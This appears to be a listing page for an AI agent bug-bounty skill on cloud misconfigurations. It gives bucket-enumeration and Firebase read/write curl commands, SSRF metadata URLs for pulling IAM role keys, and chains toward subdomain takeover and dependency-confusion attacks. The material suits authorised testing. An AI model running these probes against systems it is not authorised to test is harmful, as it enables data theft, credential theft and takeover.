AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF.
GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON.
Azure: public blob containers, exposed Function App.
K8s: kubelet 10250 unauth, etcd 2379, dashboard public, services API public, pod metadata service.
Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.
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LicenseLICENSE
Default branchmain
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Files included with this skill beyond the listing page.
skill mdSKILL.md3,997 B
docsSUMMARY.md944 B
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First recorded snapshot · 1 installs
SKILL.md
16. CLOUD / INFRA MISCONFIGS
S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 Metadata (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.
Related Skills & Chains
hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.
cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.
hunt-ssrf — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
triage-validation — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.
